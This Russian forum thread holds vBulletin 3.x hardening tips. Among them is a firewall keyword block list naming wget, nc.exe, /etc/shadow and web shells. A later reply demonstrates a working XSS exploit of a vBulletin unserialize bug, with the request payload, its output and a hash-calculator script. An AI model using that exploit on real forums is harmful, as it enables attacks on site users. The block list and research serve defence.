Старый 12.07.2010, 16:24   #1
ReanimatoR
 
Аватар для ReanimatoR
 
Регистрация: 09.07.2010
Сообщений: 29
Репутация: 3
По умолчанию [ Советы по защите форумов Vbulletin ]

Обновлено 12.07.2010
Только для линейки 3.х, с линейкой 4.х не работал, хотя может бОльшая часть из советов и подойдет.
Тут вперемешку собраны пункты очень очевидные для новичков и более продвинутые, поэтому не поленитесь прочитать до конца, а не бросить чтение на первых пунктах
Если Вы держите свой vbulletin форум, то рано или поздно приходится думать о защите Вашего форума. Начнем:

1) Апдейтимся в самый конец своей линейки(3.5.х,3.6.х,3.7.х,3.8.x)


Описание: -

Почему?: JelSoft постоянно закрывает всплывшие уязвимости.

2) Переименовываем админку и модерку


Описание: Переименовываем админку, но в конфигурации ни в коем случае не пишем путь к нашей переименованной админке. Также переименовываем модерку, но её уже можно прописать в конфигурации(хотя тоже не желательно), так как она менее уязвима

Почему?: Если переименовать админку и не указать путь в конфигурации, то будет гораздо сложнее её найти и следовательно применить XSS или еще что похуже. Есть минусы: - редактирование профиля и добавление модераторов перестанут работать без ручной правки ссылок.

3) Ставим .htaccess на админку:


Описание:
a) если ip статичен, то
Код:
Код:
order allow, deny
deny from all
allow from you.ip.add.res
b) Также ставим дополнительный пароль:

Идём по ссылке: _http://vbsupport.org/htaccess.php, заполняем поля и дописываем по инструкции в наш файл htaccess.

Почему?: Дополнительное паролирование админки никогда не помешает.


4) Удаляем файлы и папки:


Описание:
a) Удаляем файлы:
/validator.php(если имеется)
/checksum.md5(если имеется)
b) Удаляем папки:
/install/

Почему?: Небезопасные файлы от нулёных версий могут дать возможность просматривать список файлов, а также папка install очень вредная=)


5) Перемещаем вложения и аватары


Описание:
Идем в админку, далее:
a) Вложения -> Метод хранения вложений
Вложения должны храниться в базе данных
Цитата:
Сейчас вложения сохраняются в базе данных
, если это не так, то переносим их туда с помощью кнопки 'Вперед'.
b) Аватары -> Тип хранения изображений пользователя
Аватары должны храниться в базе данных
Цитата:
Код:
Сейчас изображения хранятся в базе данных
, если это не так, то переносим их туда с помощью кнопки 'Вперед'.
Почему?: Линейка 3.5, если мне не изменяет память давала прямые ссылки на картинки, что ,при неправильной конфигурации хостинга, давало шанс залить через это шелл.

6)Выставляем права на папки

Описание: Если выполнен пункт 5), то теперь смело ставим права на папки custom***** 644, так как они нам тепеорь не нужны(или можете их удалить). Дальше, если Вы устанавливали vbulletin по инструкции, у вас все папке в /(корне) должны иметь права 644. Проверьте это, если не так, то выставите права 644.

Почему?: Затрудняем хакеру заливку шелла.


7) Нигде, никогда, никому не включаем опцию 'Разрешить html'.


Описание: -

Почему?: Возможность XSS атак при включенной функции.

8) Ставим .htaccess на папку includes


Описание: Ставим .htaccess на папку includes следующего содержания:

Код:
order allow, deny
deny from all
Почему?:
- если туда каким-либо образом зальют шелл, то не смогут зайти на него.
- если вас будут ддосить, то возможен такой вариант, когда интерпретатор php отваливается и остается только апач - и апача разрешает уже читать файлы php - следовательно можно будет прочитать все файлы из папки /includes/ - тот же config.php, что не очень хорошо.

9) Пихните в дир. с файлами, на которых стоят атрибуты 0777 такой хтаксесс: - (c) kerk _http://vbsupport.org/forum/member.php?u=30

Описание:
Код:

Код:
RemoveHandler .phtml
RemoveHandler .php
RemoveHandler .php3
RemoveHandler .php4
RemoveHandler .php5
RemoveHandler .cgi
RemoveHandler .exe
RemoveHandler .pl
RemoveHandler .asp
RemoveHandler .aspx
RemoveHandler .shtml
<Files ~ "\.php|\.phtml|\.cgi|\.exe|\.pl|\.asp|\.aspx|\.sht ml">
Order allow,deny
Deny from all
</Files>

добавить своих хэндлеров, если необходимо
все, в этой директории никакой из перечисленных скриптов, выполнить нельзя

Почему?: -


10) Устанавливаем хак: http://allcheats.ru/product-firewall_vb_rs.xml


Описание:
Импортируем хак и создаем файл: logfile_worms.txt с правами на запись вебсервера(777)
Почему?: -
Защита от кучи 'плохих' присваиваний переменных
Оригинал на vb.org'e:
http://www.vbulletin.org/forum/showthread.php?t=196791
Фильтрация плохих слов
Код:
$securityrules = array('chr(', 'chr=', 'chr%20', '%20chr', 'wget%20', '%20wget', 'wget(',
                   'cmd=', '%20cmd', 'cmd%20', 'rush=', '%20rush', 'rush%20',
                   'union%20', '%20union', 'union(', 'union=', 'echr(', '%20echr', 'echr%20', 'echr=',
                   'esystem(', 'esystem%20', 'cp%20', '%20cp', 'cp(', 'mdir%20', '%20mdir', 'mdir(',
                   'mcd%20', 'mrd%20', 'rm%20', '%20mcd', '%20mrd', '%20rm',
                   'mcd(', 'mrd(', 'rm(', 'mcd=', 'mrd=', 'mv%20', 'rmdir%20', 'mv(', 'rmdir(',
                   'chmod(', 'chmod%20', '%20chmod', 'chmod(', 'chmod=', 'chown%20', 'chgrp%20', 'chown(', 'chgrp(',
                   'locate%20', 'grep%20', 'locate(', 'grep(', 'diff%20', 'kill%20', 'kill(', 'killall',
                   'passwd%20', '%20passwd', 'passwd(', 'telnet%20', 'vi(', 'vi%20',
                   'insert%20into', 'select%20', 'nigga(', '%20nigga', 'nigga%20', 'fopen', 'fwrite', '%20like', 'like%20',
                   '$_request', '$_get', '$request', '$get', '.system', 'http_php', '%20getenv', 'getenv%20',
                   '/etc/password','/etc/shadow', '/etc/groups', '/etc/gshadow',
                   'http_user_agent', 'http_host', '/bin/ps', 'wget%20', 'uname\x20-a', '/usr/bin/id',
                   '/bin/echo', '/bin/kill', '/bin/', '/chgrp', '/chown', '/usr/bin', 'g\+\+', 'bin/python',
                   'bin/tclsh', 'bin/nasm', 'traceroute%20', 'ping%20', '.pl', '/usr/x11r6/bin/xterm', 'lsof%20',
                   '/bin/mail', '.conf', 'motd%20', 'http/1.', '.inc.php', 'config.php', 'cgi-', '.eml',
                   'file\://', 'window.open', '<script>', 'javascript\://','img src', 'img%20src','.jsp','ftp.exe',
                   'xp_enumdsn', 'xp_availablemedia', 'xp_filelist', 'xp_cmdshell', 'nc.exe', '.htpasswd',
                   'servlet', '/etc/passwd', 'wwwacl', '~root', '~ftp', '.js', '.jsp', '.history',
                   'bash_history', '.bash_history', '~nobody', 'server-info', 'server-status', 'reboot%20', 'halt%20',
                   'powerdown%20', '/home/ftp', '/home/www', 'secure_site, ok', 'chunked', 'org.apache', '/servlet/con',
                   '<script', '/robot.txt' ,'/perl' ,'mod_gzip_status', 'db_mysql.inc', '.inc', 'select%20from',
                   'select from', 'drop%20', '.system', 'getenv', 'http_', '_php', 'php_', 'phpinfo()', '<?php', '?>', 'sql=',
                   '_global', 'global_', 'global[', '_server', 'server_', 'server[', '/modules', 'modules/', 'phpadmin',
                   'root_path', '_globals', 'globals_', 'globals[', 'ISO-8859-1', 'http://www.google.com/search', '?hl=',
              '.txt', '.exe', 'ISO-', '</', '>', '<', 'SELECT', 'FROM%20', 'alert', 'document.cookie', '*', 'c99shell.php', 'shell.php', 'cmd.php', 'cmd.txt',
                    'c99.gif', '/r57.txt', 'http*', '$*', '/backdoor.php', '/backdoor.gif', '/backdoor.txt', '/shell.txt',
                    'smf_members', 'sourcedir=', 'dirname=', 'CREATE%20', 'UNION%20', '_members%20', 'passwd',
                    'script', '<img', '<?', 'WHERE', 'FLOOD', 'flood', 'floodding', 'ls -', 'uname', 'phpinfo', 'cat%20',
                    'AVWS', 'avws', 'acunetyx', 'ACUNETYX', 'boot.ini', 'magic%20string', 'STRING', '/membri/',
                    '/membri2/', '/membri2', '/membri', 'r57.php?phpinfo', 'r57.php?phpini', 'r57.php?cpu', 'r57.php?',
                    '|dir', '&dir&', 'printf', 'acunetix_wvs_security_test', '=http', 'converge_pass_hash', 'st=-9999{SQl]',
                    'st=-', 'cat%20', 'include', '_path=');
И создаем файл в корне с chmod'ом 777:
logfile_worms.txt
Надо дописать, чтобы запись шла не в файл(не безопасно), а в БД.



11) Отредактируйте config.php, впишите id администраторов в поле undeletable user(неудаляемые/неизменяемый пользователи).


Описание:
/vb/includes/config.php. Просто вписать id администраторов, после того когда внесли все необходимые изменения в профиль.
Почему?: -




12) После удаления модов/хаков не забывайте удалять файлы, которые Вы закачали вместе с ними.


Описание: -
Почему?: -




13) Никогда не сохраняйте бэкапы в папке public_html.


Описание: -
Почему?: Они будут доступны для скачивания любому, кто узнает имя бэкапа.

14) Установить плагин "Инспектор файлов".
Автор - Ghost (http://www.vbsupport.org/forum/member.php?u=38422)
Описание:
Цитата:
Лазая по своим старым скриптам, напоролся на этот продукт -- Инспектор файлов. Это несколько модулей для vBulletin, при помощи которых можно сохранять в базе данных список существующих файлов и время от времени проверять, не изменились ли какие из них (для каждого файла сохраняется размер, владелец и права доступа) -- встроенная cron-задача уведомит администратора по почте о найденных несоответствиях. Можно сохранять в БД несколько различных копий (ревизий) списков файлов для сравнения (автоматическая проверка с уведомлением на email сверяется только с последней ревизией). Внешний вид и доступные настройки можно посмотреть на скриншотах.

INSTALL: Для установки необходимо залить два PHP-файла из архива на сервер и импортировать продукт из файла "product-gfi.xml".

UPDATE: Обновление версий не предусмотрено, так что для установки новой рекомендуется сперва удалить предыдущую версию.

З.Ы. Продукт успешно работал на всех версиях от 3.6.8 до 3.8.1 включительно. Правда ссылка в выпадающее меню в панели навигации добавлялась в разные места, но это уже мелочи.
Скачать плагин можно по ссылке: http://allcheats.ru/gfi.zip или http://www.vbsupport.org/forum/showthread.php?t=29131 (необходима регистрация)

Почему?: Незаменимая вещь в поиске шеллов на сайте, но ставить её необходимо заранее.

До кучи пару интересный ссылок:

http://www.vbulletin.org/forum/showt...light=security - Firewall против ддоса(кстати неплохой скриптовый вариант)

http://www.vbulletin.org/forum/showt...light=security - CSRF protection

http://www.vbulletin.org/forum/showt...light=security - AdminCP Access
----------



Небольшой итог:


доступ к админке получить достаточно сложно - следовательно залить шелл через админку тоже, значит можно залить шелл через уязвимости воблы, но если лить в инклуды - там есть для некоторых хаков файлы, которые требуют 777- то у нас на папке includes стоит deny from all - шелл не заюзать!

а на остальные папки можно ставить права 644, если проделали все пункты - тогда достаточно сложно будет залить при правильной настройке прав

также добавилась защита от самих админов, которые лазают где не попадя, тем самым сажая себя на XSS'ки и трояны.

(c) ReanimatoR
__________________
[ InfoSecurity ] [ AntiDDos ]
ReanimatoR вне форума   Ответить с цитированием
Старый 06.06.2012, 11:49   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Очень не хочется создавать отдельную тему, поэтому положу сюда. Пост от [08.12.2011].

Решил поковыряться в vBulletin, а именно поковырять старенькую багу с вызовом произвольной функции без параметров через unserialize.
//Заметка в блоге raz0r'a

Изначально решил использовать функции определенные в самой vBulletin (без параметров и с определенными по дефолту).
В этом очень помогла функция php: get_defined_functions
Которая возвращает массив всех определенных функций в точке вызова. К сожалению, эта задумка была неудачной, единственное, что получилось - закрыть базу раньше времени и получить кучу ошибок (смотрел функции мельком, так что возможно что-нибудь тут пропустил).

Так как функции без параметров как бы намекают, что внутри на их работу мы толком не можем повлиять, то вторая идея была - использовать функции php, которые что-либо выводять, например phpinfo или phpcredits.

И функция, которая идеально нам подходит - debug_print_backtrace, которая выводит стек вызовов функций вместе с параметрами. Что позволяет нам провести XSS, так как мы контролируем параметр для unserialize:

Соответственно, пример эксплуатации:
Код:
http://vbulletin/forumdisplay.php?
f=2&
do=doenterpwd&
newforumpwd&
postvars=2a2d3492e8667cad2393b8bfe620e70b00130d2aa:2:{i:0;s:36:"<script>alert('Fuck yeah!')</script>";i:1;O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:1;s:21:"debug_print_backtrace";}}
Пример выполнения этой функции:
Код:
#0  vB_Shutdown->__destruct()
#1  unserialize(a:2:{i:0;s:36:"<script>alert('Fuck yeah!')</script>";i:1;O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:1;s:21:"debug_print_backtrace";}}) called at [/path/forumdisplay.php:179]

Небольшой калькулятор для проверочного хэша:
PHP код:
<?php
    $COOKIE_SALT 
'';
    
$u stripslashes($_GET['u']);
    echo 
sha1($u.sha1($COOKIE_SALT)).htmlspecialchars($u);
?>
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot